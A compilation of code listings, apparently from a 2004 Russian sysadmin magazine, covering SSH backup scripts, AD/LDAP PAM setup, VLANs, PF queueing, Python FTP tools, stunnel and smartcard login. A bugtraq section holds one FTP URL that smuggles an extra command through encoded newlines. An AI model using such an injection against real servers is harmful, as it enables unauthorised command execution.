Дистрибутив для всех Сергей Яремчук # /sbin/service xinetd start # /sbin/service sendmail start #cd /var/www/swish #swish-e -c /etc/swish.conf -f index.swish
Копирование файлов в автоматическом режиме с множества компьютеров через SSH Рашид Ачилов >ssh-keygen2 -P identification: IdKey id_dsa_2048_a authorization: Key rmbackup_master.pub >pwd_mkdb -p -d . master.passwd ChRootGroups sftp,guest daily_backup_owner="rmbackup" # Owner of backup files daily_backup_group=”wheel” # Group of backup files daily_backup_mode="0600" # Mode of backup files daily_backup_dirmode="0700" # Mode of intermediate dirs #!/bin/sh # Safe updating, so – copying current daily backup directory # from remote server to local. Used SSH2 publickey auth # method, so you need a working installation before starting. # This is an open-source software, licenced by BSD license. # Written by CityCat 23.07.2004 # $Id: safecopy,v 1.5 2004/08/10 04:26:40 shelton Exp $ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin # Logging function # Logged string in variable logline! safe_logger() { logdate=`date +"%d/%m/%Y %T"` echo "$logdate [$$] safering: $logline" >> $logfile } # Go down function # Set variable godown to downing directory name go_down() { if [ ! -e $godown ]; then mkdir $godown chown $daily_backup_owner:$daily_backup_group $godown chmod $daily_backup_dirmode $godown fi cd $godown } # If there is a global system configuration file, suck it in. # if [ -r /etc/defaults/periodic.conf ]; then . /etc/defaults/periodic.conf source_periodic_confs fi # Variables # There is only maintained variables! # This is a root folder for all subordinated folders sysdir="/usr/local/share/rmbackup" # NO CHANGES BEHIND THIS LINE!! YOU HAVE BEEN WARNED!! backupdir="backup" ringdir="$sysdir/backup" maintdir="$ringdir/maint" hostlist="$maintdir/cphosts" logfile="$maintdir/saferlog" wsyear=`date +"%Y"` wsmon=`date +"%m"` wsday=`date +"%d"` # We assumed SSH2 by SSH Com. presence and locating config # in /usr/local/etc/ssh2 openssh=0 sshconf="/usr/local/etc/ssh2/ssh2_config" sshome="$HOME/.ssh2" scpname=scp2 # Check commandline if [ $# -ne 0 ]; then if [ $1 = "-h" ]; then echo "Safering updater. Copying current daily backup dir from remote server." echo " Usage: safecopy [hostlist-location-and-name]." exit else hostlist=$1 fi fi # Check on presence SSH in system and detect their version wssh=`which ssh2'` if [ -z $wssh ]; then wssh=`which ssh'` if [ -z $wssh ]; then logline="No any SSH program was detected, install it first"; safe_logger exit else wsver=`$wssh | awk '{printf "%s %s %s",$1,$2,$3}'` sshome="$HOME/.ssh" scpname=scp wsx=`$wssh | awk '{print $3}'` if [ $wsx = "SSH" ]; then openssh=1 sshconf="/etc/ssh/ssh_config" else logline="Broken SSH1 from SSH Communicationc Inc. probably detected" safe_logger exit fi fi else wsver=`$wssh -V 2>&1 | awk '{printf "%s %s %s %s",$2,$3,$4,$5}'` fi # Log detected version logline="Detected version: $wsver"; safe_logger # Taking identity file name, drop down comment field identity=`grep IdentityFile $sshconf` idfirst=`echo $identity | awk '{print $1}'` if [ $idfirst = "#" ]; then idfile=`echo $identity | awk '{print $3}'` else idfile=`echo $identity | awk '{print $2}'` fi # For OpenSSH drop down path from pathname if [ $openssh -eq 1 ]; then idname=${idfile##*/} else idname=$idfile fi # Check on existance identification file. When doesn't – # SSH dodn't setup to work with publickey auth method if [ ! -e $sshome/$idname ]; then logline="Publickey auth method did not configured yet"; safe_logger exit fi # Taking hosts list IFS=" " hosts=`cat $hostlist` cd $ringdir # Doing safering update for host in $hosts do # Parse host line hostname=`echo $host | awk '{print $1}'` hostadr=`echo $host | awk '{print $2}'` fullpath=$backupdir/$wsyear/$wsmon-$wsyear/$wsday-$wsmon-$wsyear # Take list of files to backup wls=`$wssh -o "BatchMode yes" -q $hostadr "cd $fullpath 2> null && /bin/ls -1"` # When list is empty, do nothing # (and don't create directories) status=$? if [ $status -ne 0 ]; then continue else # Go down the ladder godown=$hostname; go_down godown=$wsyear; go_down godown=$wsmon-$wsyear; go_down godown=$wsday-$wsmon-$wsyear; go_down fi for file in $wls do $scpname -q -Q $hostadr:$fullpath/$file . 2> null status=$? # Check on operation return code if [ $status -ne 0 ]; then logline="Transfer of file $file unsuccesful, return code is $status"; safe_logger else logline="File $file from host $hostname was succesfully transferred"; safe_logger chown $daily_backup_owner:$daily_backup_group $file chmod $daily_backup_mode $file fi done # Return to top cd $ringdir done >su rmbackup >ssh2 -o "BatchMode yes" -q 192.168.1.1 "cd /etc && /bin/ls -1" scp2 192.168.1.1:.profile ./profile-tmp Единая учетная запись для Windows и UNIX в Active Directory Игорь Полянский regsvr32 с:\WINNT\system32\schmmgmt.dll # Базовые настройки, необходимые для подключения к AD. # domain, loc и server.domain.loc вы должны изменить # в соответствии со своими настройками base dc=domain,dc=loc scope sub uri ldap://server.domain.loc port 389 ldap_version 3 # Тот самый аккаунт, как видите, он был создан в контейнере # Users с именем ldap и паролем qwerty binddn cn=ldap,cn=Users,dc=domain,dc=loc bindpw qwerty # Когда вы будете вводить имя пользователя и пароль, будут # применяться следующие объекты и атрибуты из AD: pam_filter objectclass=User pam_login_attribute sAMAccountName pam_password ad # Эти записи нужны для ускорения поиска. Можете их вообще # не вставлять. Обратите внимание, все пользователи в этом # примере хранятся в «Organization Unit ® firma» nss_base_passwd ou=firma,dc=domain,dc=loc?sub nss_base_shadow ou=firma,dc=domain,dc=loc?sub nss_base_group ou=firma,dc=domain,dc=loc?sub # Эти записи относятся к модулю nss_ldap, преображают # объекты и атрибуты AD к виду, принятому в LDAP nss_map_objectclass posixAccount User nss_map_objectclass shadowAccount User nss_map_attribute uid sAMAccountName nss_map_attribute uidNumber msSFU30UidNumber nss_map_attribute gidNumber msSFU30GidNumber nss_map_attribute cn sAMAccountName nss_map_attribute uniqueMember member nss_map_attribute homeDirectory msSFU30HomeDirectory nss_map_attribute loginShell msSFU30LoginShell nss_map_attribute gecos name nss_map_objectclass posixGroup Group passwd: files nisplus nis shadow: files nisplus nis group: files nisplus nis passwd: files ldap shadow: files ldap group: files ldap #%PAM-1.0 auth required pam_env.so auth sufficient pam_unix.so likeauth nullok auth sufficient /lib/security/pam_ldap.so use_first_pass auth required pam_deny.so account required pam_unix.so account [default=bad success=ok user_unknown=ignore service_err=ignore system_err=ignore] lib/security/pam_ldap.so password required pam_cracklib.so retry=3 minlen=2 dcredit=0 ucredit=0 ucredit=0 password sufficient pam_unix.so nullok use_authtok md5 shadow password sufficient /lib/security/pam_ldap.so use_authtok password required pam_deny.so session required pam_limits.so session required pam_unix.so session required /lib/security/pam_mkhomedir.so skel=/etc/skel umask=0022 session optional /lib/security/pam_ldap.so ln -s /usr/bin/perl /usr/local/bin/perl cp /usr/lib/security/pam_ldap.so.1 /usr/lib/security/pam_ldap.so.1.bak; cp /usr/lib/nss_ldap.so.1 /usr/lib/nss_ldap.so.1.bak PATH=/usr/local/bin:$PATH LD_LIBRARY_PATH=/usr/local/lib export LD_LIBRARY_PATH cd pam_ldap-176 ./configure make make install cd nss_ldap-226 ./configure --enable-schema-mapping make make install uri ldap://server.domain.loc host server.domain.loc # login service (explicit because of pam_dial_auth) login auth requisite pam_authtok_get.so.1 login auth required pam_dhkeys.so.1 login auth sufficient pam_unix_auth.so.1 login auth required pam_dial_auth.so.1 login auth sufficient pam_ldap.so.1 use_first_pass # Default definitions for Authentication management # Used when service name is not explicitly mentioned # for authenctication other auth requisite pam_authtok_get.so.1 other auth required pam_dhkeys.so.1 other auth sufficient pam_unix_auth.so.1 other auth sufficien pam_ldap.so.1 use_first_pass # Default definition for Session management # Used when service name is not explicitly mentioned # for session management other session required pam_unix_session.so.1 other session sufficient pam_mkhomedir.so skel=/etc/skel/ umask=0022 # Default definition for  Password management # Used when service name is not explicitly mentioned # for password management other password required pam_dhkeys.so.1 other password requisite pam_authtok_get.so.1 other password requisite pam_authtok_check.so.1 other password required pam_authtok_store.so.1 other password sufficient pam_ldap.so.1 use_authtok /usr/local/bin/gcc -D_REENTRANT -g -O2 -Wall -fPIC -c -ILinux-PAM-0.77/libpam/include -ILinux-PAM-0.77/libpamc/include -ILinux-PAM-0.77/modules/pammodutil/include -DPAM_DYNAMIC pam_mkhomedir.c -o pam_mkhomedir.o /usr/ccs/bin/ld -o pam_mkhomedir.so -B dynamic -G -lc pam_mkhomedir.o base dc=domain,dc=loc scope sub uri ldap://server.domain.loc port 389 ldap_version 3 binddn cn=ldap,cn=Users,dc=domain,dc=loc bindpw qwerty pam_filter objectclass=User pam_login_attribute sAMAccountName pam_password ad login auth sufficient /usr/local/lib/pam_ldap.so login auth sufficient pam_skey.so login auth sufficient pam_opie.so no_fake_prompts #login auth requisite pam_opieaccess.so login auth requisite pam_cleartext_pass_ok.so #login auth sufficient pam_kerberosIV.so try_first_pass #login auth sufficient pam_krb5.so try_first_pass login auth required pam_unix.so try_first_pass login account required pam_unix.so login password required pam_permit.so login session required pam_permit.so # Same requirement for ftpd as login ftpd auth sufficient /usr/local/lib/pam_ldap.so ftpd auth sufficient pam_skey.so ftpd auth sufficient pam_opie.so no_fake_prompts #ftpd auth requisite pam_opieaccess.so ftpd auth requisite pam_cleartext_pass_ok.so #ftpd auth sufficient pam_kerberosIV.so try_first_pass #ftpd auth sufficient pam_krb5.so try_first_pass ftpd auth required pam_unix.so try_first_pass # OpenSSH with PAM support requires similar modules. # The session one is a bit strange, though... sshd auth sufficient /usr/local/lib/pam_ldap.so sshd auth sufficient pam_skey.so sshd auth sufficient pam_opie.so no_fake_prompts #sshd auth requisite pam_opieaccess.so #sshd auth sufficient pam_kerberosIV.so try_first_pass #sshd auth sufficient pam_krb5.so try_first_pass sshd auth required pam_unix.so try_first_pass sshd account required pam_unix.so sshd password required pam_permit.so sshd session required pam_permit.so chroot = /var/tmp/stunnel pid = /stunnel.pid setuid = stunnel setgid = stunnel # Some debugging stuff debug = 7 output = /var/log/stunnel.log # Use it for client mode client = yes # Service-level configuration [ldap] accept = 127.0.0.1:389 connect = server.domain.loc:636 ri ldap://server.domain.loc host 127.0.0.1 FreeBSD tips: настройка VLAN Сергей Супрунов device vlan pseudo-device vlan N ifconfig -a # ifconfig vlan0 # ifconfig vlan0 create 111.222.0.5 netmask 255.255.255.240 vlan 111 vlandev rl0 # ifconfig vlan0 # ifconfig rl0 interface FastEthernet0/0.111 encapsulation dot1Q 111 ip vrf forwarding Inet ip address 111.222.0.1 255.255.255.240 no ip route-cache interface FastEthernet0/24 switchport trunk allowed vlan 100,111,999 switchport mode trunk no ip address # ipfw add 1234 count ip from any to any via vlan0 # Создаем нужные интерфейсы, используя механизм # клонирования: cloned_interfaces="vlan0 vlan1 vlan2" # И описываем соответствующие интерфейсы VLAN: ifconfig_vlan0="inet 111.222.0.5 netmask 255.255.255.240 vlan 111 vlandev rl0" ifconfig_vlan1="inet 10.254.0.5 netmask 255.255.255.0 vlan 100 vlandev rl0" ifconfig_vlan2="inet 10.0.0.3 netmask 255.255.255.0 vlan 999 vlandev rl0" Биллинг для АТС на базе PostgreSQL Георгий Толоконников # cat /dev/cuaa0 >> file # create table atstarif (nums varchar(15), mydate date, mytime time, min int, numd bigint); #!/usr/bin/perl use POSIX qw(:errno_h); use DBI; use strict; my $user="pgsql"; my $dbname="ats"; my $dsh; my $dbh; my $p; my $pid; $SIG{ALRM}= 'proga'; sub proga { kill 9 => $pid; kill 9 => $p; } # программа работает в бесконечном цикле, периодически (раз в две минуты) подключаясь к порту, # на который АТС посылает данные о звонках while(1) { $dsh="dbi:Pg:dbname=$dbname;port=5432"; $dbh=DBI->connect("$dsh", "$user") or die "can't connect: $!\n"; $pid=open (ATS, "cu -l/dev/cuaa1 -s9600|"); $p=($pid)+1; # программа подключилась к базе данных и начала считывать данные от АТС eval { alarm(60); }; my @str = ; my $sstr; my $ccc; my $ss; my $g; # в этом цикле начинается обработка поступающих строк от АТС foreach $sstr (@str) { if ($sstr=~ /!/) { my @s= split /!/, $sstr; # подсчет времени звонка удобно выделить в отдельную подпрограмму sub duration { my $a=substr($ccc, 6, 10); my $b=substr($ccc, 16, 10); my @aa=split //, $a; my @bb=split //, $b; my $aaa=(($aa[2]*10)+$aa[3])*24*60*60+($aa[4]*10+$aa[5])*60*60+($aa[6]*10+$aa[7])*60+$aa[8]*10+$aa[9]; my $bbb=(($bb[2]*10)+$bb[3])*24*60*60+($bb[4]*10+$bb[5])*60*60+($bb[6]*10+$bb[7])*60+$bb[8]*10+$bb[9]; my $r=$bbb-$aaa; my $cc1=$r%60; my $cc11=($r-$cc1)/60; my $cc2=$cc11%60; my $cc21=($cc11-$cc2)/60; my $cc3=$cc21%24; my $z=" h$cc3 m$cc2 s$cc1 "; } foreach $ss (@s) { $ss =~ s/.*\*/\*/g; $ss =~ s/\b0000 .*//g; $ss =~ s/\b0000600606//g; $ss =~ s/\b000050050//g; $ccc=$ss; my $z=substr($ss, 16, 10); # теперь применим подпрограмму подсчета времени к переменной $ccc; my $res=&duration; $ss=~ s/$z/$res/g; $ss=~ s/h//g; $ss=~ s/m//g; $ss=~ s/s//g; my @f= split (/\s+/, $ss); if ($f[4]) { $f[4] = 1; } my $z = $f[2]*60 + $f[3] + $f[4]; my @g = split (//, $f[1]); if ($g[4]==0) { $g[4]=""; } my @gg = ($g[2].$g[3], '.', $g[0].$g[1], '.', '04', " ", $g[4].$g[5], ':', $g[6].$g[7]); $f[1]= join ("", @gg); my @ff = ($f[0], $f[1], $z, $f[5]); $ss = join (" ", @ff); if ($ss=~ /\*\d\d\d \d\d\.\d\d\.\d\d \d+:\d+ \d+ \d+/) { # строка сформирована для записи в базу данных $g= $ss; # теперь строку $g приведем к необходимому формату и загрузим в базу данных chomp($g); my @gg=split / /, $g; my @ggg=split /\./, $gg[1]; $gg[1]=join "-", "20$ggg[2]", $ggg[1], $ggg[0]; my @dt; $dt[0]=$dbh->quote("$gg[0]"); $dt[1]=$dbh->quote("$gg[1]"); $dt[2]=$dbh->quote("$gg[2]"); $dt[3]=$dbh->quote("$gg[3]"); $dt[4]=$dbh->quote("$gg[4]"); my $tbl="atstarif "; $dbh->do("insert into $tbl (nums, mydate, mytime, min, numd) values ($dt[0], $dt[1], $dt[2], $dt[3], $dt[4])"); } } } } $dbh->disconnect(); close ATS; sleep(60); } Пакетный Фильтр OpenBSD Часть 2 Денис Назаров pass in on $ext_if inet proto tcp from any to any port 80 keep state queue www-1 pass in on $ext_if inet proto tcp from any to any port 80 keep state queue www-2 altq on dc0 cbq bandwidth 5Mb queue { std, http, mail, ssh } queue std bandwidth 10% cbq(default) altq on dc0 cbq bandwidth 5Mb queue { std, http, mail, ssh } queue std bandwidth 10% cbq(default) queue http bandwidth 60% priority 2 cbq(borrow red) { employees, developers } queue developers bandwidth 75% cbq(borrow) queue employees bandwidth 15% queue mail bandwidth 10% priority 0 cbq(borrow ecn) queue ssh bandwidth 20% cbq(borrow) { ssh_interactive, ssh_bulk } queue ssh_interactive priority 7 queue ssh_bulk priority 0 block return out on dc0 inet all queue std pass out on dc0 inet proto tcp from $developerhosts to any port 80 keep state queue developers pass out on dc0 inet proto tcp from $employeehosts to any port 80 keep state queue employees pass out on dc0 inet proto tcp from any to any port 22 keep state queue(ssh_bulk, ssh_interactive) pass out on dc0 inet proto tcp from any to any port 25 keep state queue mail bugtraq стр. 33 ftp://ftpuser:ftppass@server/directory%0asomecommand%0a Настоящий UNIX в наши дни Александр Байрак # mkdir unixemul # cd unixemul # unzip ../simhv33-0.zip # unzip ../uv7swve.zip # mkdir BIN # gmake # mkdir BIN # gmake # BIN/pdp11 // Указываем, какой тип процессора мы будем эмулировать: sim> set cpu 18 // u18 соответствует процессору, установленному на классической pdp 11/45. // Указываем, что будем использовать консольный терминал DL11. // Вывод информации будет производиться в режиме 7 бит на символ. sim> set tto 7b // Указываем, что ввод будет также исключительно 7-битный. sim> set tti 7b // Присоединяем дамп диска с UNIX к rl. В качестве rl // выступает контроллер диска RLV12/RL01. sim> attach rl unix_v7_rl.dsk // Указываем, откуда производить загрузку: sim> boot rl : rl(0,0)rl2unix // Создадим каталог dmr # mkdir /usr/dmr // Сделаем владельцем каталога dmr пользователя dmr # chown dmr /usr/dmr // Изменим группу владения каталога на третью # chgrp 3 /usr/dmr // Создадим каталог для временных файлов # mkdir /tmp // Поставим для него полный доступ для всех # chmod 777 /tmp // Нажимаем # ^D // Вводим логин dmr: login: dmr // С помощью редактора ed начинаем редактировать файл hello.c: $ ed hello.c ?hello.c a main() { printf(«Hello World!\n»); } . w 40 q // Скомпилируем написанный нами файл: $ cc hello.c // Запустим: $ a.out sim> save filename sim> restore filename sim> set console telnet=12345 Автоматизируем FTP с помощью Python Сергей Супрунов C:\myworks\python\test>python test.py (0) # -*- coding: cp866 -*- (1) #----------------------------- first.py (2) import os (3) def hello(message): (4) print message (5) print 'Вы находитесь в %s.' % os.getcwd() (6) (7) if __name__ == '__main__': (8) hello('Hello from Python.') (9) raw_input('Нажмите Enter...') (a) else: pass (b) #----------------------------end of first.py (0) import first (1) first.hello('Hi') (0) from first import hello (1) hello('Hi') (0) # -*- coding: cp866 -*- (1) from Tkinter import * (2) (3) window = Tk() (4) window.title(u'Простое графическое окно') (5) label = Label(window, text = u' Простая текстовая метка') (6) label.config(fg = 'blue', font = ('Georgia', 14, 'italic')) (7) label.pack() (8) button = Button(window, text = u'Закрыть', command = window.quit) (a) button.pack(expand=YES, fill=X) (b) window.mainloop() # -*- coding: cp866 -*- #-------------------------------------------------------- # # myzip.py: модуль работы с zip-архивами # #-------------------------------------------------------- # Модуль для работы с zip-архивами from zipfile import * # Импортируется функция glob для обхода каталогов from glob import glob # Если не ноль – выводить сообщения на экран VERBOSE = 1 # Очистка архива от имеющихся в нем файлов: # архив открывается на запись и сразу закрывается def clearzip(zipname): if VERBOSE: print 'myzip: Очистка архива %s.' % zipname zip = ZipFile(zipname, 'w', ZIP_DEFLATED) zip.close # Функция записи файла в архив: # указанный файл добавляется к существующим def writezip(zipname, filename): if VERBOSE: print 'myzip: Упаковывается %s в %s.' % (filename, zipname) zip = ZipFile(zipname, 'a', ZIP_DEFLATED) zip.write(filename) zip.close # Запись в архив всех файлов из каталога, удовлетворяющих шаблону def writepattzip(zipname, patterns): if VERBOSE: print 'myzip: Создается архив %s...' % zipname clearzip(zipname) for pattern in patterns: filelist = glob(pattern) for filename in filelist: writezip(zipname, filename) if VERBOSE: print 'myzip: Архив создан.' # Извлечение файла из архива def readzip(zipname, filename): if VERBOSE: print 'myzip: Извлекается %s из %s.' % (filename, zipname) zip = ZipFile(zipname, 'r', ZIP_DEFLATED) open(filename, 'wb').write(zip.read(filename)) zip.close # Извлечение всех файлов из архива def readallzip(zipname): if VERBOSE: print 'myzip: Читается архив %s...' % zipname zip = ZipFile(zipname, 'r', ZIP_DEFLATED) for filename in zip.namelist(): readzip(zipname, filename) zip.close if VERBOSE: print 'myzip: Архив прочтен.' # Если запускается из командной строки, то можно что-то сделать if __name__ == '__main__': print 'Только как модуль.' # -*- coding: cp866 -*- #-------------------------------------------------------- # # myftp.py: модуль работы с FTP # #-------------------------------------------------------- # Импорт нужных функций import os from ftplib import FTP from myzip import * VERBOSE = 1 # Скачивание файла по FTP: # передаются следующие параметры: # fromdir – папка-источник на FTP-сервере # file – имя скачиваемого файла # (fromsite, ftpuser, ftppassword) – FTP-сервер # и логин/пароль для входа # todir - локальная папка для сохранения скачанного файла # def getftp(fromdir, file, (fromsite, ftpuser, ftppassword), todir): olddir = os.getcwd() # запоминается текущий каталог os.chdir(todir) # переход в папку назначения if VERBOSE: print 'myftp: Устанавливается соединение с %s...' % fromsite try: localfile = open(file, 'wb') connection = FTP(fromsite) connection.login(ftpuser, ftppassword) connection.cwd(fromdir) except: print 'myftp: ОШИБКА СОЕДИНЕНИЯ С %s!' % fromsite return(-1) if VERBOSE: print 'myftp: Соединение с %s установлено.' % fromsite if VERBOSE: print 'myftp: Выполняется загрузка %s...' % file try: connection.retrbinary('RETR ' + file, localfile.write, 1024) connection.quit() localfile.close() except: print 'myftp: ОШИБКА ПОЛУЧЕНИЯ ФАЙЛА %s' % file return(-2) if VERBOSE: print 'myftp: Загрузка файла %s завершена.' % file # используем try, поскольку скачанный файл может # оказаться не zip-архивом. Хотя это можно было # бы проверить и явно: try: readallzip(file) except: print 'myftp: %s не является архивом, помещен как есть.' % file os.chdir(olddir) # возвращаемся в прежний каталог # Загрузка файла по FTP на сервер: # передаются следующие параметры: # fromdir – локальная папка-источник # file – имя отправляемого zip-файла # pattern – список шаблонов для отправки # (fromsite, ftpuser, ftppassword) – FTP-сервер # и логин/пароль для входа # todir – папка на FTP-сервере для загрузки файла # def putftp(fromdir, zipfile, pattern, (tosite, ftpuser, ftppassword), todir): olddir = os.getcwd() os.chdir(fromdir) if VERBOSE: print 'myftp: Подготовка файлов к отправке...' writepattzip(zipfile, pattern) if VERBOSE: print 'myftp: Файлы упакованы в %s.' % zipfile print 'myftp: Устанавливается соединение с %s...' % tosite try: localfile = open(zipfile, 'rb') connection = FTP(tosite) connection.login(ftpuser, ftppassword) connection.cwd(todir) except: print 'myftp: ОШИБКА СОЕДИНЕНИЯ С %s' % tosite return(-2) if VERBOSE: print 'myftp: Соединение с %s установлено' % tosite print 'myftp: Выполняется отправка файла %s...' % zipfile try: connection.storbinary('STOR ' + zipfile, localfile, 1024) connection.quit() localfile.close() except: print 'myftp: ОШИБКА ОТПРАВКИ ФАЙЛА %s!' % zipfile return(-2) if VERBOSE: print 'myftp: Файл %s отправлен.' % zipfile os.chdir(olddir) # -*- coding: cp866 -*- #------------------------------------------------------ # предвычисляемый код: import os from glob import glob olddir = os.getcwd() root = 'data/' os.chdir(root) list = glob('Pay_*') list.sort() srcdir = root + list[-1] # последний элемент списка os.chdir(olddir) # print 'config: Текущий каталог отправки – %s' % srcdir #----------------------------------------------------- # Список FTP-серверов. Формат записи: # (FTP-сервер, логин, пароль) ftpservers = [ ('ftp.my.server.ru', 'user', 'password'), ('ftp.freebsd.org', 'ftp', 'my@mail.ru'), ] #----------------------------------------------------- # Список операций. формат записи: # (номер, тип операции, название операции, номер FTP-сервера, # папка-источник, имя архива, шаблон, папка назначения) operations = [ (0, 'get', u'Обновить данные', 0, 'downdata', 'basa.zip', ('*',), 'data'), (1, 'put', u'Отправить реестры', 0, srcdir, 'reestr.zip', ('*.db', '*.px',), 'updata'), (2, 'get', u'Обновить программу', 0, 'ftpman', 'ftpman.zip', ('*',), 'bin'), (3, 'get', u'Получить README.TXT', 1, 'pub/FreeBSD', 'README.TXT', ('*',), '.'), ] # -*- coding: cp866 -*- from Tkinter import * from myftp import getftp, putftp VERBOSE = 1 if VERBOSE: print '================> manager.py запущен.' # Служебно-декоративная функция. Нужна, чтобы менять текст # метки в зависимости от состояния def chStat(messvar, color, btn, btnrelief): # изменяем границу кнопки так, чтобы в момент # выполнения операции она выглядела вдавленной – # исключительно «декоративный» эффект btn.config(relief = btnrelief) # меняем текст метки status.config(text = messvar) # меняем цвет метки status.config(fg = color) # перерисовываем метку status.update() # Функция получения данных. Назначается как обработчик # кнопкам операций типа 'get' def get(nr): if VERBOSE: print '================> выполняется загрузка...' # выбираем нужный кортеж op = config.operations[nr] # вычисляем имя кнопки по номеру exec 'obj = btn%d' % op[0] # выбираем данные по FTP-серверу ftpsite = config.ftpservers[op[3]] msg = u'Подождите: выполняется загрузка...' chStat(msg, '#AA0000', obj, 'sunken') err = getftp(op[4], op[5], ftpsite, op[7]) if err: msg = u'ОШИБКА ПОЛУЧЕНИЯ ДАННЫХ!.' chStat(msg, '#FF0000', obj, 'raised') else: msg = u'Данные получены.' chStat(msg, '#007700', obj, 'raised') if VERBOSE: print '================> загрузка завершена.' # Функция отправки данных. Назначается как обработчик # кнопкам операций типа 'put' def put(nr): if VERBOSE: print '================> выполняется отправка...' op = config.operations[nr] exec 'obj = btn%d' % op[0] ftpsite = config.ftpservers[op[3]] msg = u'Подождите: выполняется отправка...' chStat(msg, '#AA0000', obj, 'sunken') err = putftp(op[4], op[5], op[6], ftpsite, op[7]) if err: msg = u'ОШИБКА ОТПРАВКИ ДАННЫХ!' chStat(msg, '#FF0000', obj, 'raised') else: msg = u'Данные отправлены.' chStat(msg, '#007700', obj, 'raised') if VERBOSE: print '================> отправка выполнена.' # Создаем главное окно tk = Tk() tk.title(u'Центр управления обменом') # Некоторые декоративные элементы... topf = Frame(tk) topf.pack(expand=NO, fill=X) lbl = Label(topf, text = u' – Автоматизация обмена данными по FTP - ') lbl.config(font = ('Georgia', 9, 'italic bold')) lbl.config(bg = '#AAAAFF') lbl.pack(side=TOP, expand=YES, fill=X) # Создаем статус-метку, в которую будет выводиться # информация о состоянии midf = Frame(tk) midf.pack(expand=YES, fill=BOTH) status = Label(midf, text = u'Подробный вывод см. в окне консоли') status.config(bg='#FFFFFF', bd=2, relief=SUNKEN, height=3) status.pack(expand=YES, fill=BOTH) # Фрейм для размещения кнопок операций. Нужен для управления # растягиванием при изменении размеров окна – весь фрейм # будет «привязан» к нижней кромке окна comf = Frame(tk) comf.pack(fill=X) # Импортируем конфигурационный файл. # Именно в этот момент будут выполнены «предвычисления» import config # Перебирая все кортежи в списке операций, динамически # создаем для каждой из них кнопку for op in config.operations: cmd = "btn%d = Button(comf, text = '%s', " % (op[0], op[2]) cmd = cmd + "command = (lambda: %s(%d))) " % (op[1], op[0]) exec cmd exec 'btn%d.pack(fill=X)' % op[0] # Кнопка «Закрыть» и еще немного декораций closeBtn = Button(comf, text = u'Закрыть', command = tk.quit) closeBtn.pack(side=RIGHT) copyLbl = Label(comf, text = u'Coded by Amsand, 2004') copyLbl.config(font = ('Georgia', 8, 'italic')) copyLbl.pack(side=LEFT) # Выводим на экран полученное окно и передаем ему управление mainloop() # Когда окно будет закрыто, управление вновь вернется # сценарию if VERBOSE: print '================> manager.py остановлен.' Защита сетевых сервисов с помощью stunnel Андрей Бешков pop3 stream tcp nowait root /usr/local/libexec/cucipop cucipop -Y imap stream tcp nowait root /usr/local/libexec/dkimap4 dkimap # netstat -na | grep LISTEN imaps 993/tcp # imap4 protocol over TLS/SSL imaps 993/udp pop3s 95/tcp spop3 # pop3 protocol over TLS/SSL pop3s 995/udp spop3 smtps 465/tcp # smtp protocol over TLS/SSL (was ssmtp) smtps 465/udp # cd /usr/ports/security/stunnel # make all install # mkdir /usr/local/etc/stunnel/certs # cd /usr/local/etc/stunnel/certs # openssl req -new -x509 -days 365 -nodes -out mailserver.cert -keyout mailserver.key # chmod 600 ./mailserver.cert ./mailserver.key # mkdir /var/tmp/stunnel # chown stunnel:stunnel /var/tmp/stunnel # chmod 700 /var/tmp/stunnel # Ключи и сертификаты cert = /usr/local/etc/stunnel/certs/mailserver.cert key = /usr/local/etc/stunnel/certs/mailserver.key # Директория, внутри которой будет работать демон chroot = /var/tmp/stunnel # Файл pid. pid = /stunnel.pid # Имя пользователя и группа, с чьими правами будет # работать демон setuid = stunnel setgid = stunnel # Уровень подробности отладочных сообщений debug = 7 # Имя файла протоколирования output = /var/log/stunnel.log # Описание наших сервисов [pop3s] accept = 10.10.21.134:995 connect = 110 [imaps] accept = 993 connect = 143 [ssmtp] accept = 465 connect = 127.0.0.1:25 netstat -na | grep LISTEN cucipop : localhost 127.0.0.1 : allow dkimap : localhost 127.0.0.1 : allow Железный login: ломаем зубы грубой силе Александр Похабов # USE='usb pam' emerge opensc # qpkg -I -v | grep open # qpkg -I -v | grep hotplug # cp /usr/share/opensc/opensc.conf.example /etc/opensc.conf # rc-update add hotplug default # rc-update add openct default # rc # usermod -G openct,wheel chiko # openct-tool list # cat /путь/к/исходникам_ядра/.config | grep CONFIG_USB_DEVICEFS # mount | grep usbfs # /etc/ssl/misc/CA.pl –newca # openssl x509 -in demoCA/cacert.pem -days 3650 -out demoCA/cacert.pem -signkey demoCA/private/cakey.pem # /etc/ssl/misc/CA.pl –newreq # /etc/ssl/misc/CA.pl –sign # openssl rsa -in newreq.pem -out newkey.pem # /etc/ssl/misc/CA.pl -pkcs12 # pkcs15-init -EC --label 'Chiko Test Card' --no-so-pin # pkcs15-init -P --auth-id 01 --label 'CHIKOPIN' # pkcs15-init -S newcert.p12 --format pkcs12 -a 01 --split-key # mkdir ~/.eid # pkcs15-tool -r 45 -o ~/.eid/authorized_certificates # more /etc/pam.d/su auth sufficient /lib/security/pam_opensc.so auth required /lib/security/pam_wheel.so use_uid account required /lib/security/pam_stack.so service=system-auth session required /lib/security/pam_stack.so service=system-auth # su chiko # grep -ir pam_opensc /var/log/messages # su chiko # more /etc/pam.d/login auth required /lib/security/pam_opensc.so account required /lib/security/pam_stack.so service=system-auth session required /lib/security/pam_stack.so service=system-auth # su # su # pkcs15-tool -u # USE='X509 pam smartcard' emerge openssh ./configure --with-opensc=/путь/opensc # more /etc/pam.d/sshd auth required /lib/security/pam_opensc.so accoun required pam_stack.so service=system-auth session required pam_stack.so service=system-auth # ssh-keygen -D 0 > ~/authorized_keys # scp ~/authorized_keys ajwol@remote:.ssh # ssh -I 0 -l ajwol remote Тени исчезают в полдень Сергей Яремчук DEVICE=eth0 ONBOOT= no # useradd -c "SHADOW" -u 666 -d /home/SHADOW shadow список_сервисов: список_машин [: команда] sshd: 192.168.2. : allow ALL: 192.168.1.100,127.0.0.1 : allow ALL: ALL : deny # mkdir -p /usr/local/SHADOW # gpg --verify some_file_name.sig # Source function library. . /etc/rc.d/init.d/functions # Source networking configuration. . /etc/sysconfig/network # cd /usr/local/SHADOW/sensor # cp sensor_init.sh /etc/rc.d/init.d/sensor # cp sensor_init.sh /etc/rc.d/sensor # chkconfig --add sensor icmp and icmp[0] != 8 and icmp[0] != 0 ip and (port 137 or port 138 or port 139) 17 23 * * * /usr/sbin/ntpdate time-a.nist.gov 18 23 * * * /sbin/hwclock --systohc 0 * * * * /usr/local/SHADOW/sensor/sensor_driver.pl std > /dev/null 2>&1 Order deny,allow Deny from all Allow from 172.21.122 Allow from localhost Allow from 127.0.0.1 # cp 